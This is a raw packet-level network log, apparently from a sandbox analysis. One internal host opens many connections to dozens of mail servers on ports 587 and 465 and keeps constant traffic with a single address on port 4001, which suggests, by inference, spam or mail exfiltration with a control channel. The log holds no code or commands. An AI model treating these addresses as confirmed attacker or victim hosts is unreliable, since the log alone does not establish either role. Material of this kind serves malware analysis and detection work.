May 19, 2024 17:28:00.156017065 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:28:00.156477928 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.156562090 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:28:00.156646967 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:00.156647921 CEST	50120	587	192.168.2.4	66.133.129.50
May 19, 2024 17:28:00.156683922 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:28:00.160142899 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.162358999 CEST	50060	465	192.168.2.4	173.203.187.14
May 19, 2024 17:28:00.162383080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.192996025 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:00.209208012 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:28:00.209260941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.209290981 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:28:00.209320068 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.209348917 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.209377050 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:28:00.209408045 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:28:00.209435940 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:28:00.209464073 CEST	587	50120	66.133.129.50	192.168.2.4
May 19, 2024 17:28:00.209491968 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.209522009 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.209551096 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:28:00.209579945 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.209595919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.209595919 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:00.209595919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.209595919 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:00.209597111 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:00.209706068 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.209745884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.214333057 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.219239950 CEST	465	50060	173.203.187.14	192.168.2.4
May 19, 2024 17:28:00.219321966 CEST	50060	465	192.168.2.4	173.203.187.14
May 19, 2024 17:28:00.224591017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.224646091 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.224675894 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.224704981 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.224736929 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:00.225895882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.231314898 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.255629063 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:00.261790037 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.261980057 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:28:00.262187958 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:28:00.262685061 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.262742996 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:00.262773037 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:00.262856007 CEST	50121	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:00.262881994 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:28:00.262928963 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:28:00.267024040 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:28:00.271266937 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:00.271733046 CEST	50061	587	192.168.2.4	94.143.153.79
May 19, 2024 17:28:00.271781921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.272425890 CEST	50143	587	192.168.2.4	193.122.131.100
May 19, 2024 17:28:00.276659966 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:28:00.276690006 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.276724100 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:00.276752949 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:28:00.276781082 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:28:00.276809931 CEST	587	50121	168.0.132.203	192.168.2.4
May 19, 2024 17:28:00.276853085 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:28:00.276881933 CEST	587	50120	66.133.129.50	192.168.2.4
May 19, 2024 17:28:00.276972055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.280823946 CEST	587	50061	94.143.153.79	192.168.2.4
May 19, 2024 17:28:00.280855894 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.280930996 CEST	50061	587	192.168.2.4	94.143.153.79
May 19, 2024 17:28:00.281013012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.281013012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.282541037 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.282628059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.282628059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.282713890 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.286079884 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.286115885 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.286171913 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.286242962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.286242962 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.292958975 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.292993069 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.293025970 CEST	587	50143	193.122.131.100	192.168.2.4
May 19, 2024 17:28:00.293044090 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.293143988 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.293143988 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.293185949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.293200970 CEST	50143	587	192.168.2.4	193.122.131.100
May 19, 2024 17:28:00.293224096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.297683001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.297713041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.297743082 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.297771931 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.297799110 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.297883987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.298064947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.302429914 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.302459002 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.307591915 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.318095922 CEST	50120	587	192.168.2.4	66.133.129.50
May 19, 2024 17:28:00.323085070 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.323117018 CEST	587	50135	194.181.93.175	192.168.2.4
May 19, 2024 17:28:00.323229074 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.349250078 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.356394053 CEST	50144	465	192.168.2.4	164.138.208.23
May 19, 2024 17:28:00.356558084 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.361788034 CEST	50145	587	192.168.2.4	64.90.62.162
May 19, 2024 17:28:00.364998102 CEST	50135	587	192.168.2.4	194.181.93.175
May 19, 2024 17:28:00.366251945 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:28:00.366359949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.370989084 CEST	465	50144	164.138.208.23	192.168.2.4
May 19, 2024 17:28:00.371020079 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.371049881 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:28:00.371066093 CEST	50144	465	192.168.2.4	164.138.208.23
May 19, 2024 17:28:00.371169090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.371206999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.375730991 CEST	587	50145	64.90.62.162	192.168.2.4
May 19, 2024 17:28:00.375761032 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:28:00.375791073 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:28:00.375821114 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:28:00.375824928 CEST	50145	587	192.168.2.4	64.90.62.162
May 19, 2024 17:28:00.375849009 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:28:00.375870943 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:00.375901937 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:00.375926971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.375948906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.375992060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.376009941 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:00.376029015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.380876064 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.380929947 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.381592989 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:28:00.381680965 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:00.381727934 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:00.381773949 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:28:00.381850958 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:28:00.381951094 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:00.382005930 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.385802984 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.390613079 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:28:00.390696049 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.396646023 CEST	50065	465	192.168.2.4	217.160.233.82
May 19, 2024 17:28:00.396723032 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.396878004 CEST	50068	465	192.168.2.4	52.101.194.0
May 19, 2024 17:28:00.396909952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.401673079 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:28:00.401702881 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:28:00.401731014 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:00.401758909 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:28:00.401786089 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:28:00.401813030 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:28:00.401846886 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.401875019 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.402020931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.403829098 CEST	50146	587	192.168.2.4	81.7.169.194
May 19, 2024 17:28:00.406399012 CEST	465	50065	217.160.233.82	192.168.2.4
May 19, 2024 17:28:00.406430006 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:28:00.406459093 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:00.406461000 CEST	50065	465	192.168.2.4	217.160.233.82
May 19, 2024 17:28:00.406552076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.406582117 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.411173105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.411243916 CEST	465	50068	52.101.194.0	192.168.2.4
May 19, 2024 17:28:00.411300898 CEST	50068	465	192.168.2.4	52.101.194.0
May 19, 2024 17:28:00.415980101 CEST	587	50146	81.7.169.194	192.168.2.4
May 19, 2024 17:28:00.416043997 CEST	50146	587	192.168.2.4	81.7.169.194
May 19, 2024 17:28:00.416115999 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:00.416153908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.416174889 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:28:00.416215897 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:00.420711040 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.445563078 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.451426983 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:28:00.451540947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.458611012 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:00.458621979 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:00.462727070 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:28:00.462915897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.468991995 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:28:00.469115973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.473910093 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.474015951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.474078894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.474137068 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:28:00.478969097 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.483686924 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:28:00.494379044 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:28:00.494502068 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:28:00.494513035 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:28:00.494591951 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:00.494755983 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:28:00.495699883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.496687889 CEST	50147	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:00.499739885 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:28:00.499779940 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:28:00.499811888 CEST	587	50121	168.0.132.203	192.168.2.4
May 19, 2024 17:28:00.500042915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.500042915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.504762888 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:28:00.505677938 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:28:00.508879900 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:28:00.509450912 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:00.509501934 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:28:00.509531975 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:28:00.509562016 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:28:00.509625912 CEST	587	50147	194.153.145.104	192.168.2.4
May 19, 2024 17:28:00.509702921 CEST	50147	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:00.509753942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.509784937 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:28:00.514377117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.519211054 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:28:00.519300938 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:00.519349098 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:00.519349098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.524324894 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:28:00.524619102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.529361010 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:28:00.534137964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.536720037 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:28:00.549496889 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.549658060 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.552391052 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:00.552412033 CEST	50121	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:00.557451010 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.557483912 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.557513952 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.557642937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.557687044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.557684898 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:00.557686090 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:00.557686090 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:00.564913034 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.564960957 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.564989090 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.565042973 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:00.565056086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.565078020 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:00.565103054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.567979097 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:28:00.570355892 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.570564032 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:28:00.570880890 CEST	50119	587	192.168.2.4	177.11.54.185
May 19, 2024 17:28:00.571384907 CEST	50148	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:00.575193882 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.575274944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.579896927 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:28:00.583945036 CEST	50077	465	192.168.2.4	60.248.184.187
May 19, 2024 17:28:00.584116936 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.588810921 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:28:00.588871002 CEST	587	50119	177.11.54.185	192.168.2.4
May 19, 2024 17:28:00.588901997 CEST	587	50148	142.93.237.125	192.168.2.4
May 19, 2024 17:28:00.588960886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.588965893 CEST	50148	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:00.589133978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.589356899 CEST	50149	587	192.168.2.4	162.144.159.205
May 19, 2024 17:28:00.593519926 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:28:00.593549967 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:28:00.593579054 CEST	465	50077	60.248.184.187	192.168.2.4
May 19, 2024 17:28:00.593611002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.593631983 CEST	50077	465	192.168.2.4	60.248.184.187
May 19, 2024 17:28:00.593691111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.598376989 CEST	587	50149	162.144.159.205	192.168.2.4
May 19, 2024 17:28:00.598443031 CEST	50149	587	192.168.2.4	162.144.159.205
May 19, 2024 17:28:00.598485947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.603084087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.603113890 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:28:00.603142023 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:28:00.603245974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.603311062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.603312969 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:00.603313923 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:00.605654001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.605686903 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:00.605788946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.605788946 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.608433008 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:00.608536005 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:00.608566999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.613226891 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:00.613265038 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:00.613306999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.613306999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.613322973 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:00.613354921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.613354921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.617943048 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:00.618031979 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.622715950 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.622786045 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:28:00.622813940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.622843027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.627496004 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.627990007 CEST	50150	465	192.168.2.4	213.133.36.60
May 19, 2024 17:28:00.633014917 CEST	465	50150	213.133.36.60	192.168.2.4
May 19, 2024 17:28:00.633236885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.633243084 CEST	50150	465	192.168.2.4	213.133.36.60
May 19, 2024 17:28:00.638231039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.646223068 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:28:00.646380901 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:28:00.648188114 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:28:00.648319006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.652935982 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:28:00.653007984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.658488989 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:28:00.658516884 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:28:00.658572912 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:28:00.658581972 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.658606052 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:28:00.658627033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.661724091 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:00.665220976 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.665249109 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:28:00.665653944 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:28:00.665858984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.666548014 CEST	50151	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:00.666661978 CEST	50152	587	192.168.2.4	211.29.132.105
May 19, 2024 17:28:00.666882992 CEST	50153	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:00.672683954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.677481890 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:28:00.677510023 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.683464050 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:28:00.683479071 CEST	587	50151	117.50.20.113	192.168.2.4
May 19, 2024 17:28:00.683491945 CEST	587	50152	211.29.132.105	192.168.2.4
May 19, 2024 17:28:00.683506012 CEST	587	50153	81.2.195.204	192.168.2.4
May 19, 2024 17:28:00.683518887 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.683649063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.683655024 CEST	50153	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:00.683666945 CEST	50152	587	192.168.2.4	211.29.132.105
May 19, 2024 17:28:00.683686018 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.683732033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.683773994 CEST	50151	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:00.688427925 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:28:00.688441038 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:28:00.688498020 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:00.688550949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.688575983 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:00.688602924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.693188906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.693370104 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:28:00.693413973 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:28:00.693823099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.693854094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.698487997 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:00.698501110 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:00.698613882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:00.703231096 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:28:00.703243017 CEST	4001	49734	212.162.153.199	192.168.2.4
